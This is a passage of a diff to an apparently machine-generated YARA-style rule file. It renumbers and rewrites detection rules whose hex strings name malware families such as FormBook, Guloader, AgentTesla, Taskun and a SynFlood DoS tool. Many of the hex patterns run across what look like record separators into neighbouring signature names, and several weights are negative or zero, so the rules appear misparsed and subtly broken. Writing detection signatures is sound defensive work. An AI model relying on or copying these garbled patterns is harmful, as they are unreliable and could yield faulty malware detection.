"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -72921,7 +77052,7 @@ rule _InfrastructureShared_6968{ ((#a_6f_0 & 1)*21539+(#a_54_1 & 1)*17996+(#a_28_2 & 1)*769) >=1 } -rule _InfrastructureShared_6969{ +rule _InfrastructureShared_7360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -72931,7 +77062,7 @@ rule _InfrastructureShared_6969{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6970{ +rule _InfrastructureShared_7361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -72941,7 +77072,7 @@ rule _InfrastructureShared_6970{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6971{ +rule _InfrastructureShared_7362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -72951,7 +77082,17 @@ rule _InfrastructureShared_6971{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_6972{ +rule _InfrastructureShared_7363{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 45 42 49 5a 21 4d 54 42 00 02 00 43 03 5b 13 2b 11 2a 11 2b 5a 05 90 01 09 5a 5a 13 2c 0e 05 2c 08 11 06 8e 16 fe 03 2b 01 16 13 3d 11 3d 2c 34 00 11 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_7364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72962,7 +77103,7 @@ rule _InfrastructureShared_6972{ ((#a_46_0 & 1)*16675+(#a_9c_1 & 1)*12800) >=2 } -rule _InfrastructureShared_6973{ +rule _InfrastructureShared_7365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72972,7 +77113,7 @@ rule _InfrastructureShared_6973{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6974{ +rule _InfrastructureShared_7366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72982,7 +77123,7 @@ rule _InfrastructureShared_6974{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6975{ +rule _InfrastructureShared_7367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -72993,7 +77134,7 @@ rule _InfrastructureShared_6975{ ((#a_46_0 & 1)*16675+(#a_b5_1 & 1)*530) >=2 } -rule _InfrastructureShared_6976{ +rule _InfrastructureShared_7368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73004,7 +77145,7 @@ rule _InfrastructureShared_6976{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*17444) >=2 } -rule _InfrastructureShared_6977{ +rule _InfrastructureShared_7369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73015,7 +77156,7 @@ rule _InfrastructureShared_6977{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*26739) >=2 } -rule _InfrastructureShared_6978{ +rule _InfrastructureShared_7370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73026,7 +77167,7 @@ rule _InfrastructureShared_6978{ ((#a_46_0 & 1)*16675+(#a_f8_1 & 1)*-15989) >=2 } -rule _InfrastructureShared_6979{ +rule _InfrastructureShared_7371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73037,7 +77178,7 @@ rule _InfrastructureShared_6979{ ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*97) >=2 } -rule _InfrastructureShared_6980{ +rule _InfrastructureShared_7372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73048,7 +77189,7 @@ rule _InfrastructureShared_6980{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*27506) >=2 } -rule _InfrastructureShared_6981{ +rule _InfrastructureShared_7373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73059,7 +77200,7 @@ rule _InfrastructureShared_6981{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_6982{ +rule _InfrastructureShared_7374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73070,7 +77211,7 @@ rule _InfrastructureShared_6982{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*3328) >=2 } -rule _InfrastructureShared_6983{ +rule _InfrastructureShared_7375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73081,7 +77222,7 @@ rule _InfrastructureShared_6983{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*-2151) >=2 } -rule _InfrastructureShared_6984{ +rule _InfrastructureShared_7376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73092,7 +77233,7 @@ rule _InfrastructureShared_6984{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-12415) >=2 } -rule _InfrastructureShared_6985{ +rule _InfrastructureShared_7377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73103,7 +77244,7 @@ rule _InfrastructureShared_6985{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*120) >=2 } -rule _InfrastructureShared_6986{ +rule _InfrastructureShared_7378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73114,7 +77255,7 @@ rule _InfrastructureShared_6986{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*3108) >=2 } -rule _InfrastructureShared_6987{ +rule _InfrastructureShared_7379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -73125,7 +77266,7 @@ rule _InfrastructureShared_6987{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*144) >=2 } -rule _InfrastructureShared_6988{ +rule _InfrastructureShared_7380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -73136,7 +77277,7 @@ rule _InfrastructureShared_6988{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-72) >=2 } -rule _InfrastructureShared_6989{ +rule _InfrastructureShared_7381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -73148,7 +77289,7 @@ rule _InfrastructureShared_6989{ ((#a_5f_0 & 1)*25635+(#a_6f_1 & 1)*8993+(#a_71_2 & 1)*0) >=2 } -rule _InfrastructureShared_6990{ +rule _InfrastructureShared_7382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -73160,7 +77301,7 @@ rule _InfrastructureShared_6990{ ((#a_5f_0 & 1)*25635+(#a_4c_1 & 1)*8993+(#a_00_2 & 1)*26740) >=2 } -rule _InfrastructureShared_6991{ +rule _InfrastructureShared_7383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73172,7 +77313,7 @@ rule _InfrastructureShared_6991{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*12848+(#a_61_2 & 1)*26479) >=3 } -rule _InfrastructureShared_6992{ +rule _InfrastructureShared_7384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73184,7 +77325,7 @@ rule _InfrastructureShared_6992{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*16583+(#a_c7_2 & 1)*400) >=3 } -rule _InfrastructureShared_6993{ +rule _InfrastructureShared_7385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73195,7 +77336,7 @@ rule _InfrastructureShared_6993{ ((#a_46_0 & 1)*16675+(#a_04_2 & 1)*-14588) >=3 } -rule _InfrastructureShared_6994{ +rule _InfrastructureShared_7386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73207,7 +77348,7 @@ rule _InfrastructureShared_6994{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*18268+(#a_73_2 & 1)*13104) >=3 } -rule _InfrastructureShared_6995{ +rule _InfrastructureShared_7387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73219,7 +77360,7 @@ rule _InfrastructureShared_6995{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*28521+(#a_38_2 & 1)*12592) >=3 } -rule _InfrastructureShared_6996{ +rule _InfrastructureShared_7388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73231,7 +77372,7 @@ rule _InfrastructureShared_6996{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*12289+(#a_56_2 & 1)*4119) >=3 } -rule _InfrastructureShared_6997{ +rule _InfrastructureShared_7389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73243,7 +77384,7 @@ rule _InfrastructureShared_6997{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*5120+(#a_65_2 & 1)*23636) >=3 } -rule _InfrastructureShared_6998{ +rule _InfrastructureShared_7390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73255,7 +77396,7 @@ rule _InfrastructureShared_6998{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111+(#a_4d_2 & 1)*3144) >=3 } -rule _InfrastructureShared_6999{ +rule _InfrastructureShared_7391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73267,19 +77408,31 @@ rule _InfrastructureShared_6999{ ((#a_54_0 & 1)*18467+(#a_fc_1 & 1)*-29700+(#a_41_2 & 1)*-30706) >=3 } -rule _InfrastructureShared_7000{ +rule _InfrastructureShared_7392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 52 52 21 4d 54 42 00 01 00 19 01 74 15 8b 4d 08 56 8b 75 0c 2b f1 8a 04 0e 88 01 41 83 ea 01 75 f5 5e 5d c3 01 00 19 01 45 6e 75 6d 4c 61 6e 67 75 61 67 65 47 72 6f 75 70 4c 6f 63 61 6c 65 73 57 01 00 } //18467 - $a_69_1 = {74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 71 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 46 31 32 33 21 4d 54 42 00 01 00 07 81 01 67 65 6e 68 75 73 65 01 00 27 81 01 74 6f 6f 74 68 70 61 73 74 65 73 20 } //270 - $a_61_2 = {65 6f 66 66 69 63 65 72 65 72 6e 65 20 74 69 6d 6f 63 72 61 63 79 01 00 0a 81 01 75 6e 64 65 72 70 61 72 74 73 00 00 78 71 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 4d 31 32 33 21 4d 54 42 00 01 00 1b 81 01 6b 6f 6e 64 69 74 6f 72 6b } //27750 + $a_69_1 = {74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 71 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4a 30 31 21 4d 54 42 00 01 00 0c 81 01 6d 69 6e 64 72 65 74 61 6c 6c 65 74 01 00 16 81 01 76 65 67 65 74 61 74 69 76 } //270 + $a_76_2 = {64 69 6c 73 68 65 64 73 01 00 18 81 01 62 65 61 6b 68 65 61 64 20 61 66 62 6c 65 67 6e 69 6e 67 } //29541 condition: - ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*270+(#a_61_2 & 1)*27750) >=3 + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*270+(#a_76_2 & 1)*29541) >=3 } -rule _InfrastructureShared_7001{ +rule _InfrastructureShared_7393{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4a 30 31 21 4d 54 42 00 01 00 0c 81 01 6d 69 6e 64 72 65 74 61 6c 6c 65 74 01 00 16 81 01 76 65 67 65 74 61 74 69 76 65 73 20 76 72 64 69 6c 73 68 65 64 73 01 00 18 81 01 62 65 61 6b 68 65 61 64 } //18467 + $a_62_1 = {65 67 6e 69 6e 67 65 72 6e 65 73 00 00 78 71 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 46 31 32 33 21 4d 54 42 00 01 00 07 81 01 67 65 6e 68 75 73 65 01 00 27 81 01 74 6f 6f 74 68 70 61 73 74 65 73 20 66 6c 61 61 64 65 6f 66 66 69 63 65 72 65 72 6e } //24864 + $a_69_2 = {6f 63 72 61 63 79 01 00 0a 81 01 75 6e 64 65 72 70 61 72 74 73 00 00 78 71 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 4d 31 32 33 21 4d 54 42 00 01 00 1b 81 01 6b 6f 6e 64 69 74 6f 72 6b 61 67 65 72 73 20 61 72 65 6e 69 74 65 73 2e 65 78 65 01 00 10 81 01 62 61 73 73 6c 79 20 66 6f 62 69 65 } //8293 + condition: + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*24864+(#a_69_2 & 1)*8293) >=3 + +} +rule _InfrastructureShared_7394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73290,7 +77443,7 @@ rule _InfrastructureShared_7001{ ((#a_54_0 & 1)*18467+(#a_6e_2 & 1)*385) >=3 } -rule _InfrastructureShared_7002{ +rule _InfrastructureShared_7395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73302,7 +77455,7 @@ rule _InfrastructureShared_7002{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*-32499+(#a_65_2 & 1)*28277) >=3 } -rule _InfrastructureShared_7003{ +rule _InfrastructureShared_7396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73314,7 +77467,7 @@ rule _InfrastructureShared_7003{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29301+(#a_73_2 & 1)*18) >=3 } -rule _InfrastructureShared_7004{ +rule _InfrastructureShared_7397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -73326,7 +77479,7 @@ rule _InfrastructureShared_7004{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*27745+(#a_72_2 & 1)*29557) >=3 } -rule _InfrastructureShared_7005{ +rule _InfrastructureShared_7398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -73334,12 +77487,12 @@ rule _InfrastructureShared_7005{ $a_54_0 = {3a 44 6f 53 3a 57 69 6e 33 32 2f 53 79 6e 46 6c 6f 6f 64 00 02 00 12 01 25 73 20 25 73 20 22 22 20 22 6c 6f 6c 22 20 3a 25 73 01 00 1a 03 6e 65 70 65 6e 74 68 65 73 90 02 04 63 75 72 72 65 6e 74 75 73 65 72 00 90 00 01 00 0e 00 44 44 4f 53 49 4e 47 } //18467 $a_73_1 = {25 73 01 00 05 00 66 6c 6f 6f 64 00 00 78 71 00 00 03 00 03 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //8250 $a_32_2 = {47 75 6c 61 72 67 65 72 2e 45 21 64 68 61 00 02 00 14 01 b8 1f 85 eb 51 c1 ea 18 44 03 c2 41 f7 e0 c1 ea 05 6b d2 64 01 00 0b 01 b8 69 71 69 00 48 83 c4 } //28265 - $a_01_3 = {00 0a 01 b8 62 23 50 00 b9 00 00 00 00 01 00 0e 01 e3 00 ff 00 ff 1d 90 01 02 07 00 0b 90 00 00 00 78 71 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 48 61 6f 31 32 33 2e 4b 53 35 32 00 01 00 0b 80 01 2e 68 61 6f 73 6f 75 2e 63 6f 6d 01 00 07 80 01 53 48 4f 55 58 49 4e 01 00 0b 80 01 73 68 6f 75 78 69 6e 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 71 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 61 6e 6f 63 6f 72 65 2e 53 43 52 45 21 4d 54 } //23328 + $a_01_3 = {00 0a 01 b8 62 23 50 00 b9 00 00 00 00 01 00 0e 01 e3 00 ff 00 ff 1d 90 01 02 07 00 0b 90 00 00 00 78 71 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 48 61 6f 31 32 33 2e 4b 53 35 32 00 01 00 0b 80 01 2e 68 61 6f 73 6f 75 2e 63 6f 6d 01 00 07 80 01 53 48 4f 55 58 49 4e 01 00 0b 80 01 73 68 6f 75 78 69 6e 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 } //23328 condition: ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*8250+(#a_32_2 & 1)*28265+(#a_01_3 & 1)*23328) >=3 } -rule _InfrastructureShared_7006{ +rule _InfrastructureShared_7399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -73349,70 +77502,94 @@ rule _InfrastructureShared_7006{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_7007{ +rule _InfrastructureShared_7400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 48 61 6f 31 32 33 2e 4b 53 35 32 00 01 00 0b 80 01 2e 68 61 6f 73 6f 75 2e 63 6f 6d 01 00 07 80 01 53 48 4f 55 58 49 4e 01 00 0b 80 01 73 68 6f 75 78 69 6e 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 } //16675 - $a_78_1 = {9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 71 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 61 6e 6f 63 6f 72 65 2e 53 43 52 45 21 4d 54 42 00 02 00 1d 81 01 76 6f 6b 73 6b 72 74 65 64 69 72 69 67 65 6e 74 75 64 67 72 61 76 6e 69 6e 67 65 72 63 } //11892 - $a_81_2 = {63 72 6f 73 73 66 6c 6f 77 65 72 70 6f 73 69 74 69 6f 6e 73 73 79 73 74 65 6d 73 73 69 } //2 crossflowerpositionssystemssi - $a_71_3 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 34 30 21 4d 54 42 00 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 07 81 01 52 65 76 65 72 73 65 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 00 78 71 00 00 04 00 } //0 - $a_00_4 = {21 23 48 53 } //4 !#HS + $a_78_1 = {9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 34 30 21 4d 54 42 00 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 07 81 01 52 65 } //11892 + $a_73_2 = {01 00 07 81 01 54 6f 41 72 72 61 79 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 41 31 32 33 21 4d 54 42 00 01 00 10 81 01 41 75 74 6f 4e 61 74 69 6f 6e 2c 20 49 6e 63 2e 01 00 0e 81 01 75 64 73 6b 69 76 65 64 65 73 2e 65 78 } //25974 + $a_6f_4 = {76 69 74 65 01 00 0e 81 01 50 68 61 72 6d 61 63 69 61 20 43 6f 72 70 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 44 31 21 4d 54 42 00 01 00 11 81 01 41 72 6f } //385 condition: - ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*11892+(#a_81_2 & 1)*2+(#a_71_3 & 1)*0+(#a_00_4 & 1)*4) >=3 + ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*11892+(#a_73_2 & 1)*25974+(#a_6f_4 & 1)*385) >=3 } -rule _InfrastructureShared_7008{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 61 6e 6f 63 6f 72 65 2e 53 43 52 45 21 4d 54 42 00 02 00 1d 81 01 76 6f 6b 73 6b 72 74 65 64 69 72 69 67 65 6e 74 75 64 67 72 61 76 6e 69 6e 67 65 72 63 02 00 1d 81 01 63 72 6f 73 73 66 } //16675 - $a_65_1 = {70 6f 73 69 74 69 6f 6e 73 73 79 73 74 65 6d 73 73 69 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 34 30 21 4d 54 42 00 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 07 81 01 52 65 76 65 72 73 65 01 00 07 81 01 54 6f 41 72 72 61 79 01 } //28524 - condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28524) >=4 - -} -rule _InfrastructureShared_7009{ +rule _InfrastructureShared_7401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 52 45 5a 31 31 34 30 21 4d 54 42 00 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 07 81 01 52 65 76 65 72 73 65 01 00 07 81 01 54 6f 41 72 72 61 79 01 } //18467 $a_01_1 = {44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 41 31 32 33 21 4d 54 42 00 01 00 10 81 01 41 75 74 6f 4e 61 74 69 6f 6e 2c 20 49 6e 63 2e 01 00 0e 81 01 75 64 73 6b 69 76 65 64 65 73 2e 65 78 65 01 00 07 81 01 4a 6f 62 76 69 74 65 01 00 0e 81 01 50 68 61 72 6d 61 63 69 61 20 43 6f 72 70 } //3072 - $a_71_2 = {00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 55 45 46 49 2f 49 6e 73 79 56 75 6c 2e 4f 00 01 00 1c 03 b9 27 00 00 00 e8 90 01 01 00 00 00 b9 2c 00 00 00 8b d8 e8 90 01 01 00 00 00 90 00 01 00 07 01 81 7f 08 53 4d 46 41 01 00 07 01 41 ff 52 08 48 89 07 01 00 13 03 00 00 b9 26 00 00 00 48 89 58 18 e8 90 01 02 ff ff 90 00 00 00 78 71 00 00 05 00 } //0 - $a_00_3 = {21 } //5 ! + $a_71_2 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 44 31 21 4d 54 42 00 01 00 11 81 01 41 72 6f 6d 61 74 69 73 65 72 65 6e 64 65 31 35 36 01 00 10 81 01 47 65 6d 79 74 74 65 72 7a 61 6e 61 6e 61 73 6d 01 00 0d 81 01 4e 6f 6e 63 68 6f 6c 65 72 69 63 37 35 01 00 08 81 01 5a 61 62 61 69 32 30 37 00 00 78 71 00 00 04 00 } //0 + $a_00_3 = {21 23 48 53 } //4 !#HS condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3072+(#a_71_2 & 1)*0+(#a_00_3 & 1)*5) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3072+(#a_71_2 & 1)*0+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_7010{ +rule _InfrastructureShared_7402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 59 54 41 31 32 33 21 4d 54 42 00 01 00 10 81 01 41 75 74 6f 4e 61 74 69 6f 6e 2c 20 49 6e 63 2e 01 00 0e 81 01 75 64 73 6b 69 76 65 64 65 73 2e 65 78 65 01 00 07 81 01 4a 6f 62 76 69 74 65 01 00 0e } //18467 - $a_68_1 = {72 6d 61 63 69 61 20 43 6f 72 70 00 00 78 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 55 45 46 49 2f 49 6e 73 79 56 75 6c 2e 4f 00 01 00 1c 03 b9 27 00 00 00 e8 90 01 01 00 00 00 b9 2c 00 00 00 8b d8 e8 90 01 01 00 00 } //385 - $a_81_3 = {08 } //1792 + $a_68_1 = {72 6d 61 63 69 61 20 43 6f 72 70 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 44 31 21 4d 54 42 00 01 00 11 81 01 41 72 6f 6d 61 74 69 73 65 72 65 6e 64 65 31 35 36 01 00 10 81 } //385 + $a_6d_2 = {74 74 65 72 7a 61 6e 61 6e 61 73 6d 01 00 0d 81 01 4e 6f 6e 63 68 6f 6c 65 72 69 63 37 35 01 00 08 81 01 5a 61 62 61 69 32 30 37 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 54 31 21 4d 54 42 00 01 00 0e 81 01 61 6b 74 69 65 67 65 76 69 6e } //18177 + $a_72_3 = {00 0f 81 01 62 6f 67 61 6e 6d 65 6c 64 65 72 2e 65 78 65 01 00 0d 81 01 63 6c 61 73 73 69 63 61 6c 69 7a 65 73 01 00 0c 81 01 66 6f 72 73 74 61 6e 64 65 72 6e 65 00 00 78 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 55 45 46 49 2f 49 6e 73 79 56 75 6c 2e 4f 00 01 00 1c 03 b9 27 00 } //29811 condition: - ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*385+(#a_81_3 & 1)*1792) >=4 + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*385+(#a_6d_2 & 1)*18177+(#a_72_3 & 1)*29811) >=4 } -rule _InfrastructureShared_7011{ +rule _InfrastructureShared_7403{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 44 31 21 4d 54 42 00 01 00 11 81 